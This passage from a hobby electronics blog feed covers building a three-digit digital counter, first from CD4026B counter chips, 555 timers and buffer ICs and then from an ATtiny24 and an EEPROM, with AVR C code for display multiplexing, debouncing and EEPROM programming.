<p>What's very clear is that we'll be using a lot of bitwise operations. We even get a macro named <code>_BV</code> as a shorthand for bit shifting (it corresponds to the <code>1 &lt;&lt; (bit)</code> operation), which we'll use often in our code.</p>
<p><a name="recounting"></a></p>
<h3>Recounting</h3>
<p>After that much introduction, we can get started on our counter program. The hardware will be <a href="https://deadlime.hu/en/2026/06/22/the-great-count-up/#software-solutions">the same as before</a>. As a reminder, these are connected to the legs of our microcontroller:</p>
<pre class="ascii"><code>PA0 -&gt; Display pin 12 (Dig1)
PA1 -&gt; Display pin 11 (a)
PA2 -&gt; Display pin 10 (f)
PA3 -&gt; Display pin 9  (Dig2)
PA4 -&gt; Display pin 8  (Dig3)
PA5 -&gt; Display pin 7  (b)
PA6 -&gt; Display pin 5  (g)
PA7 -&gt; Display pin 4  (c)
PB0 -&gt; Display pin 1  (e)
PB1 -&gt; Display pin 2  (d)
PB2 -&gt; Counter button
PB3 -&gt; Reset button
</code></pre>
<p>Unfortunately for us, the display pins are all over the ports. I didn't want to rewire the whole project, so we'll have to live with this situation in the code. The ideal setup would probably be for the segment pins and the step button to go on the <code>PA</code> side, and the digit-select pins and the reset button on the <code>PB</code> side.</p>
<p>If we look at the assignment above, the distribution of the segments across the two ports looks like this:</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | c | g | b | _ | _ | f | a | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | d | e |
</code></pre>
<p>Our display is common-anode, so we need to send a zero on the segment pin and a one on the digit-select pin for the given segment of the given digit to light up. In the case of the number zero, segments <code>a</code>-<code>f</code> must be zero, and segment <code>g</code> must be one, so we need to write the following values to the two ports:</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | _ | _ | 0 | 0 | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | 0 | 0 |
</code></pre>
<p>We won't have to deal with the bits marked by underscores here, so we can write zero in their place.</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | 0 | 0 | 0 | 0 |
</code></pre>
<p>Doing the same for the other digits as well, we'll get the following arrays:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/interrupt.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments_a[<span class="hljs-number">16</span>] = {
  <span class="hljs-number">0b01000000</span>, <span class="hljs-number">0b01000110</span>, <span class="hljs-number">0b10000100</span>, <span class="hljs-number">0b00000100</span>,
  <span class="hljs-number">0b00000010</span>, <span class="hljs-number">0b00100000</span>, <span class="hljs-number">0b00100000</span>, <span class="hljs-number">0b01000100</span>,
  <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00100010</span>,
  <span class="hljs-number">0b11100000</span>, <span class="hljs-number">0b00000110</span>, <span class="hljs-number">0b10100000</span>, <span class="hljs-number">0b10100000</span>,
};
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments_b[<span class="hljs-number">16</span>] = {
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0011</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0001</span>,
  <span class="hljs-number">0b0011</span>, <span class="hljs-number">0b0001</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0011</span>,
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0001</span>, <span class="hljs-number">0b0010</span>, <span class="hljs-number">0b0000</span>,
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0010</span>,
};
</code></pre>
<p>To make things a little more exciting, we'll display a hexadecimal number, so we'll be able to count all the way from 0 to 4095.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin[<span class="hljs-number">3</span>] = { PA0, PA3, PA4 };
<span class="hljs-keyword">uint8_t</span> dig[<span class="hljs-number">3</span>] = { <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> };
<span class="hljs-keyword">uint8_t</span> i = <span class="hljs-number">0</span>;

<span class="hljs-keyword">uint8_t</span> stable = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint8_t</span> samples = <span class="hljs-number">0</span>;
</code></pre>
<p>We'll also have a few variables for storing the value, selecting the digit, and filtering out bounce.</p>
<p>And with that, we've arrived at the <code>main</code> function.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA = <span class="hljs-number">0b11111111</span>;
  DDRB = <span class="hljs-number">0b0011</span>;

  TCCR1A = <span class="hljs-number">0</span>;
  TCCR1B |= _BV(CS11) | _BV(WGM12);
  OCR1A = <span class="hljs-number">24</span>;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {}
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>The function is surprisingly short, but all the more incomprehensible. At least without the nice long documentation.</p>
<ul>
<li>With <code>DDRA</code> and <code>DDRB</code>, we set the direction of ports 'A' and 'B': everything is output, except for the two buttons.</li>
<li>With <code>TCCR1A</code> and <code>TCCR1B</code>, we start configuring a timer.
<ul>
<li>With the <code>CS11</code> and <code>CS12</code> bits (<code>TCCR1B</code>), we can set the timer clock. Since the default value is zero, we only need to set one of them to get 1/8 of the ATtiny's clock.</li>
<li>With the <code>WGM10</code>, <code>WGM11</code> (<code>TCCR1A</code>), <code>WGM12</code>, and <code>WGM13</code> (<code>TCCR1B</code>) bits, the counter mode can be set. In the mode we set (only the <code>WGM12</code> bit is 1, the others are 0) it will count up to the value found in the <code>OCR1A</code> register, then it resets itself to zero.</li>
</ul>
</li>
<li>We set the <code>OCR1A</code> register to 25, which causes us to count up from 0 to 24.</li>
<li><code>TIMSK1</code> contains the timer interrupt settings. By setting the <code>OCIE1A</code> bit, we get an interrupt when we reach the value in <code>OCR1A</code>.</li>
</ul>
<p>Finally, calling the <code>sei()</code> function enables interrupts, and we reach an infinite loop that does nothing.</p>
<p><a id="cite_ref-1"></a>The <strong>ATtiny24</strong> runs at 1MHz<a href="#cite_note-1" class="note"><sup>[1]</sup></a> and the timer clock will be 1/8 of that, so 125kHz. The counter has to count up 25 steps for one interrupt, so with these settings, we'll get an interrupt every 1/5000 of a second, or every 0.2 milliseconds.</p>
<pre><code class="hljs arduino">ISR(TIM1_COMPA_vect) {
  PORTA = segments_a[dig[i]];
  PORTB = segments_b[dig[i]];
  PORTA |= _BV(pin[i]);
  <span class="hljs-keyword">if</span> (++i &gt; <span class="hljs-number">2</span>) i = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">uint8_t</span> now = (PINB &amp; _BV(PB2)) ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> (now != stable) {
    <span class="hljs-keyword">if</span> (++samples &gt; <span class="hljs-number">50</span>) {
      stable = now;
      samples = <span class="hljs-number">0</span>;
      <span class="hljs-keyword">if</span> (stable == <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">2</span>] &gt; <span class="hljs-number">0xF</span>) {
          dig[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>;
          <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">1</span>] &gt; <span class="hljs-number">0xF</span>) {
            dig[<span class="hljs-number">1</span>] = <span class="hljs-number">0</span>;
            <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">0</span>] &gt; <span class="hljs-number">0xF</span>) {
              dig[<span class="hljs-number">0</span>] = <span class="hljs-number">0</span>;
            }
          }
        }
      }
    }
  } <span class="hljs-keyword">else</span> {
    samples = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p><a id="cite_ref-2"></a>This is our function that gets called by the interrupt, five thousand times per second.<a href="#cite_note-2" class="note"><sup>[2]</sup></a></p>
<p>By setting <code>PORTA</code>/<code>PORTB</code>, we display the current digit and advance <code>i</code> to the next digit. We may have a hunch here that the two <code>PORTA</code> modifications could be done in one go, but that can lead to some rather interesting behavior:</p>
<pre><code class="hljs arduino">PORTA = segments_a[dig[i]] | _BV(pin[i]);
PORTB = segments_b[dig[i]];
</code></pre>
<p>In this case, we switch digits before setting the <code>d</code> and <code>e</code> segments on port B to the correct value, so in certain cases, the <code>d</code> and <code>e</code> segments will glow faintly even when they shouldn't.</p>
<pre><code class="hljs arduino">PORTB = segments_b[dig[i]];
PORTA = segments_a[dig[i]] | _BV(pin[i]);
</code></pre>
<p>In this case, the <code>d</code> and <code>e</code> segments on port 'B' get their new value before we switch digits, which leads to a similar problem.</p>
<p>In the original setup, port 'A' gets its value first, but with that, we also turn off all digit selectors. Port 'B' gets its new value, and then we select the new digit. This way, there is no moment in time when a segment would light up in the wrong place.</p>
<p><a id="cite_ref-3"></a>After refreshing the display, we check the value of the button. If it does not match the current stable value, we increase the number of samples. If we have fifty<a href="#cite_note-3" class="note"><sup>[3]</sup></a> good samples, then the new value becomes the stable value. If the button was pressed, we increment the value of the digits in the usual way, but now we don't stop at just 9; we go up to 15.</p>
<p>With the stored stable state and the sampling, we ensure that a change in the button's state is only considered valid if the new signal stabilizes for at least 10 milliseconds. So we filter out the bounce that occurs at the moment the button is pressed and released.</p>
<p>In the way discussed above, we can upload the code to the earlier <strong>ATtiny24</strong> used for counting, and become the happy owners of a hexadecimal counter.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/hex_counter.jpg" width="660" height="450" alt="A digital counter built on a breadboard, with its LCD display showing the number 2A" title="" loading="lazy" />
</p>

<h3>Taking stock</h3>
<p>We've gotten through this one as well. Yet another counter... who would have thought, after the previous post? With the new code, we managed to make the previous version somewhat better:</p>
<ul>
<li>We didn't have to use <code>PROGMEM</code>.</li>
<li>Instead of 999, we can count up to 4095.</li>
<li>The debounce protection became more reliable.</li>
<li>We refresh the digits of the display much faster.</li>
</ul>
<p>There would still be things to improve if we were bored (for example, not displaying the leading zeros), but my curiosity only drove me this far. Escaping from the Arduino IDE let us get much closer to the hardware. Perhaps closer than we would have liked.</p>
<h3>Notes</h3>
<p><a id="cite_note-1"></a>1. <a href="#cite_ref-1" class="note">↑</a> The default settings, it can be changed with fuses, but that would mess up our calculations.</p>
<p><a id="cite_note-2"></a>2. <a href="#cite_ref-2" class="note">↑</a> Writing this down, I started worrying that maybe this function was doing too much, so I did the math, and if everything is true, then even in the worst case, it finishes within 60 clock cycles, and we have 200 clock cycles' worth of time between two interrupts.</p>
<p><a id="cite_note-3"></a>3. <a href="#cite_ref-3" class="note">↑</a> You can experiment with the number of samples to find the point where we no longer get false button presses, and the speed of repeated button presses also feels right.</p>

]]></content:encoded>
        </item>
            <item>
            <title>The great count-up</title>
            <link>https://deadlime.hu/en/2026/06/22/the-great-count-up/</link>
            <pubDate>Mon, 22 Jun 2026 10:40:29 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardware]]></category>
                    <category><![CDATA[Arduino]]></category>
                    <category><![CDATA[Raspberry Pi]]></category>
                    
            <guid isPermaLink="false">22e78757e68d925ad4c6f44893066fc0</guid>
            <description>There are numerous ways to build a digital counter</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter.jpg" width="660" height="450" alt="A digital counter built on a breadboard, with its LCD display showing the number 42" title="" loading="lazy" />
</p>

<p>I have had a hardware project in the making for a while now. It's been moving along slowly; I only need to finish the programming part, but I rarely feel like doing it. Because of that, I'm extremely susceptible to distractions.</p>
<p>So I saw a mechanical counter in a video. It's not much more than four digits and a button you can use to increment the number. And a knob to zero the whole thing out.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/tally_counter.jpg" width="450" height="450" alt="A mechanical tally counter" title="" loading="lazy" />
</p>

<p>A bit later, I ran into a cute little LCD panel. It can show three digits and, given its dimensions, it looks very breadboard-compatible.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_display.jpg" width="450" height="450" alt="LCD displays looking like ICs" title="" loading="lazy" />
</p>

<p>Maybe you can already feel where all this is going. We should build a digital counter. Surely it can't be too complicated. Just a microcontroller, a button or two, a 7-segment display, and a few lines of code. Or is it?</p>
<h3>The target hardware</h3>
<p>As usual, I didn't go down the easy path. As so many times before, the goal here wasn't actually to make a digital counter. It was just an excuse so I didn't have to work on the other project.</p>
<p>But I didn't want to make my life too hard either, so we won't be making a counter out of just NAND gates. There are specific components out there that can solve parts of our problem. For example, ICs that can count, or ones that understand the segment format of 7-segment displays.</p>
<p>After a bit of searching, I found a chip called the <strong>CD4026B</strong>, which can count from 0 to 9 and whose output corresponds to the segments of a 7-segment display, from <code>a</code> to <code>g</code>.</p>
<pre class="ascii"><code>                   ┌───┬──┬───┐
             CLOCK ┤ • └──┘   ├ VDD
     CLOCK INHIBIT ┤          ├ RESET
 DISPLAY ENABLE IN ┤          ├ UNGATED &quot;C&quot; SEGMENT OUT
DISPLAY ENABLE OUT ┤          ├ c
         CARRY OUT ┤ CD4026B  ├ b
                 f ┤          ├ e
                 g ┤          ├ a
               VSS ┤          ├ d
                   └──────────┘
</code></pre>
<p>Because of the display, I'm aiming for three digits. The chip's <code>CARRY OUT</code> output becomes 1 when the counter rolls over from 9 to 0, so several <strong>CD4026B</strong>s can be chained together to get multiple digits. The <code>CARRY OUT</code> of the lower place value chip has to be connected to the <code>CLOCK</code> of the next higher place value chip.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/CD4026B.jpg" width="660" height="433" alt="Wiring diagram: three daisy-chained CD4026B chips" title="" loading="lazy" />
</p>

<p>We could connect the button to the <code>CLOCK</code> input of the lowest place value chip, but buttons have that bad habit called bounce. During a button press, the contacts often touch each other several times, so instead of the expected single increment, our number will increase by some random amount. Not exactly ideal behavior for a counter.</p>
<p>According to the Internet, there are lots of ways to fix this. I recalled a Ben Eater video from the 8-bit computer building series, where this was solved with a <a href="https://www.youtube.com/watch?v=81BgFhm2vz8">monostable <strong>555</strong> timer</a>.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/monostable_555_timer.jpg" width="635" height="737" alt="Wiring diagram: monostable 555 timer and a CD4026B counter" title="" loading="lazy" />
</p>

<p>At this point, we have a well-behaved button and three chained ICs, which together can count from 0 to 999. But we can't see their current value.</p>
<p>It turned out that the LCD panel mentioned above is unfortunately not as simple to drive as, say, a 7-segment LED display. Also, it didn't arrive in time, so I used a <strong>BC56-12</strong> model instead.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/BC56-12.jpg" width="450" height="450" alt="BC56-12, a three-digit LED display" title="" loading="lazy" />
</p>

<p>It's worth knowing that all three digits use the same input pins for segments. In addition to those, there are three other inputs that select the currently active digit. So if we want to display three different digits at once, we have to switch between the three inputs very quickly, so that to our eyes it looks as if all three digits are lit at the same time.</p>
<p>There are two versions of this display: common anode and common cathode, depending on whether the anode or cathode ends of the segment LEDs are connected together. Our version is a common cathode.</p>
<p>For the fast switching between the numbers, we'll need a clock signal. Luckily, there's another Ben Eater video from which we can learn to generate a clock signal with the help of an <a href="https://www.youtube.com/watch?v=kRlSFm519Bo">astable <strong>555</strong> timer</a>. We still have to divide this one clock signal into three somehow, so we can use it to select the active digit. I used another counter, the <strong>CD4017B</strong>, for this.</p>
<pre class="ascii"><code>    ┌───┬──┬───┐
  5 ┤ • └──┘   ├ VDD
  1 ┤          ├ RESET
  0 ┤          ├ CLOCK
  2 ┤          ├ CLOCK INHIBIT
  6 ┤ CD4017B  ├ CARRY OUT
  7 ┤          ├ 9
  3 ┤          ├ 4
VSS ┤          ├ 8
    └──────────┘
</code></pre>
<p>Instead of actual segments, this counter indicates its current value on 10 different outputs. We will use the first three numbers to get three mutually exclusive signals, and hook up the fourth number to <code>RESET</code> so it resets itself to zero.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/astable_555_timer.jpg" width="635" height="797" alt="Wiring diagram: astable 555 timer and a CD4017B counter" title="" loading="lazy" />
</p>

<p>So on one side we have our chained counters with the button, on the other side we have a clock signal split into three, with which we can select the active digit.</p>
<p>There's a promisingly-named <code>DISPLAY ENABLE IN</code> input on our counters. We might think that it could be useful for our situation. But it isn't.</p>
<p>When <code>DISPLAY ENABLE IN</code> is low, all the outputs go low. If they are connected to other outputs that are high (because a segment is turned on in another digit), that creates a short circuit. So it's better not to connect the outputs of our counters together.</p>
<p>Maybe a few (21) diodes could have solved the issue, but I chose the <strong>74HC541</strong> chip invented for this purpose:</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
OE1' ┤ • └──┘   ├ VDD
  A0 ┤          ├ OE2'
  A1 ┤          ├ Y0
  A2 ┤          ├ Y1
  A3 ┤          ├ Y2
  A4 ┤ 74HC541  ├ Y3
  A5 ┤          ├ Y4
  A6 ┤          ├ Y5
  A7 ┤          ├ Y6
 VSS ┤          ├ Y7
     └──────────┘
</code></pre>
<p>The input comes in on the <code>A0-7</code> pins and is output on the <code>Y0-7</code> pins, if the outputs are enabled (<code>OE1'</code> and <code>OE2'</code>). If the output isn't enabled, then the <code>Y0-7</code> outputs go into a high-impedance mode and don't interfere with outputs from other ICs.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/74HC541.jpg" width="660" height="548" alt="Wiring diagram: connecting CD4026B to 74HC541" title="" loading="lazy" />
</p>

<p>So we connect the <code>a</code>-<code>g</code> outputs of our three <strong>CD4026B</strong> counters to the inputs of one <strong>74HC541</strong> chip each (the blue wires in the picture), then connect the outputs of the three <strong>74HC541</strong>s together (the green wires in the picture) and connect them to the display.</p>
<p>We want to use the signals coming from the <strong>CD4017B</strong>, which divides the clock signal into three, so that only the appropriate <strong>74HC541</strong> and LED digit are active. But in both places, we need a low signal, while the <strong>CD4017B</strong> outputs a high signal for the active digit. Fortunately, integrated circuits exist for this too, such as the <strong>74HC240</strong>, which inverts the input signal.</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
1OE' ┤ • └──┘   ├ VDD
 1A1 ┤          ├ 2OE'
 2Y4 ┤          ├ 1Y1
 1A2 ┤          ├ 2A4
 2Y3 ┤          ├ 1Y2
 1A3 ┤ 74HC240  ├ 2A3
 2Y2 ┤          ├ 1Y3
 1A4 ┤          ├ 2A2
 2Y1 ┤          ├ 1Y4
 VSS ┤          ├ 2A1
     └──────────┘
</code></pre>
<p>We connect our three outputs coming from the <strong>CD4017B</strong> to the <code>1A1</code>, <code>1A2</code>, and <code>1A3</code> inputs, and get their opposite values on the <code>1Y1</code>, <code>1Y2</code>, and <code>1Y3</code> outputs.</p>
<p>With that, we have all the components we need for a working counter. Now we only have to wire everything together, and we're done.</p>
<pre class="ascii"><code>                                                               ╔═════════╗
                        ┌───────────┬───────────┬───────────┬──╢ BC56-12 ║
                        │           │           │           │  ╚═════════╝
                        │           │           │           │
                   ╔════╧════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗
                   ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC240 ║
                   ╚════╤══╤═╝ ╚════╤══╤═╝ ╚════╤══╤═╝ ╚═╤══╤════╝
                        ┃  └────────╂──┴────────╂──┴─────┘  │
                        ┃           ┃           ┃      ╔════╧════╗
                        ┃           ┃           ┃      ║ CD4017B ║
                        ┃           ┃           ┃      ╚════╤════╝
                        ┃           ┃           ┃           │
╔════════╗ ╔═════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗   ╔══╧══╗
║ Button ╟─╢ 555 ╟─╢ CD4026B ╟─╢ CD4026B ╟─╢ CD4026B ║   ║ 555 ║
╚════════╝ ╚═════╝ ╚═════════╝ ╚═════════╝ ╚═════════╝   ╚═════╝
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_1.jpg" width="660" height="450" alt="The completed digital counter on two breadboards" title="" loading="lazy" />
</p>

<p>In the picture, you can also see that an extra button is connected to the <code>RESET</code> pins of the three <strong>CD4026B</strong>s. It can happen that we start with a random value when the counter is turned on, so it's good to have a reset-to-zero button on hand.</p>
<p>Although the end result looks great, it would be quite uncomfortable to use it as a handheld counter, so I kept looking around for alternative solutions.</p>
<h3>Memory helps</h3>
<p>At this point, the YouTube Algorithm was probably perfectly aware of what I was up to. It was kind enough to offer me yet another Ben Eater video to watch, this one about <a href="https://www.youtube.com/watch?v=dLh1n2dErzE">driving a 7-segment LED display with an EEPROM</a>.</p>
<p>The components used there are not completely suitable for our purposes, but we can use the basic idea: in the EEPROM, we store in advance which of the 7 segments need to be turned on for a given digit of a given number.</p>
<p>So the input of the EEPROM will be which digit we're currently displaying (3 pins) and which number we're currently at (10 pins, 10 bits, numbers between 0 and 1023). The output will be the state of the seven segments (7 pins). The <strong>AT28C64B</strong> fits these conditions perfectly: it has 13 inputs and 8 outputs.</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
     ┤ • └──┘   ├ VDD
 A12 ┤          ├ WE'
  A7 ┤          ├ 
  A6 ┤          ├ A8
  A5 ┤          ├ A9
  A4 ┤          ├ A11
  A3 ┤          ├ OE'
  A2 ┤ AT28C64B ├ A10
  A1 ┤          ├ CE'
  A0 ┤          ├ I/O7
I/O0 ┤          ├ I/O6
I/O1 ┤          ├ I/O5
I/O2 ┤          ├ I/O4
 VSS ┤          ├ I/O3
     └──────────┘
</code></pre>
<p>The beginning of the circuit will be very familiar: first, a monostable <strong>555</strong> timer for debouncing the button press, an astable <strong>555</strong> timer for the clock signal, and a <strong>CD4017B</strong> IC, which splits the clock into three to select the digits. For the counter, we will use the <strong>CD4040B</strong>, which produces a 12-bit binary output (it can count from 0 to 4095).</p>
<pre class="ascii"><code>    ┌───┬──┬───┐
Q12 ┤ • └──┘   ├ VDD
 Q6 ┤          ├ Q11
 Q5 ┤          ├ Q10
 Q7 ┤          ├ Q8
 Q4 ┤ CD4040B  ├ Q9
 Q3 ┤          ├ RESET
 Q2 ┤          ├ CLOCK
VSS ┤          ├ Q1
    └──────────┘
</code></pre>
<p>The data loaded into the <strong>AT28C64B</strong> performs the conversion between the binary counter and the LED display. The LED display will now be a <strong>BA56-12</strong>, so we don't have to invert the clock signal (because of the common anode, the selected digit has to be high, while the segment selected to light up has to be low).</p>
<p>First of all, we have to fill the EEPROM with data. I used a Raspberry Pi Pico for this. Fortunately, it has just enough GPIO pins.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/pico_eeprom.jpg" width="660" height="450" alt="Two Raspberry Pi Picos and the EEPROM they are programming" title="" loading="lazy" />
</p>

<p>I wrote a little program for it, but I was too lazy to interpret the timing diagrams of the <strong>AT28C64B</strong>. Instead, I worked with rather large safety margins as far as the <code>sleep</code>s are concerned. This made it fairly slow, but in exchange, it wasn't all that reliable either. I needed to run it multiple times to get the right values in.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> A0 10</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> A12 2</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IO0 11</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IO7 18</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> WE 27</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> OE 20</span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> address[<span class="hljs-number">13</span>] = { A0, A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, A11, A12 };
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> io[<span class="hljs-number">8</span>] = { IO5, IO7, IO1, IO4, IO3, IO6, IO2, IO0 };

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> numbers[<span class="hljs-number">10</span>][<span class="hljs-number">8</span>] = {
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
};
</code></pre>
<p>We start with a bit of configuration. We need to map the Pico's pins to the <strong>AT28C64B</strong> pins. Then we define the order of the address and I/O pins. Finally, we need a mapping of numbers to segment states (on or off).</p>
<p>The order of the address and I/O pins here depends on how we are going to wire the <strong>AT28C64B</strong> to its inputs and outputs in its final location. In the case of the address, the counter's value will arrive on pins <code>A0</code>-<code>A9</code>. Pins <code>A10</code>-<code>A12</code> will be used for digit selection. The I/O pins are all over the place just to make the wiring easier between the EEPROM and the display.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    stdio_init_all();

    gpio_init(WE);
    gpio_set_dir(WE, GPIO_OUT);
    gpio_put(WE, <span class="hljs-literal">true</span>);

    gpio_init(OE);
    gpio_set_dir(OE, GPIO_OUT);
    gpio_put(OE, <span class="hljs-literal">true</span>);

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin : address)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
        gpio_put(pin, <span class="hljs-literal">false</span>);
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin : io)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
        gpio_put(pin, <span class="hljs-literal">false</span>);
    }

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>During initialization, we set everything to output and turn everything off. In the case of the <code>WRITE ENABLE</code> and <code>OUTPUT ENABLE</code> pins, this means a high state. After this, we can continue the <code>main</code> function by writing the data.</p>
<pre><code class="hljs arduino"><span class="hljs-built_in">printf</span>(<span class="hljs-string">"write\n"</span>);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">1000</span>; ++i)
{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">10</span>; ++j)
    {
        gpio_put(address[j], (i &amp; <span class="hljs-keyword">static_cast</span>&lt;<span class="hljs-keyword">int</span>&gt;(<span class="hljs-built_in">pow</span>(<span class="hljs-number">2</span>, j))) &gt; <span class="hljs-number">0</span>);
    }

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">3</span>; ++j)
    {
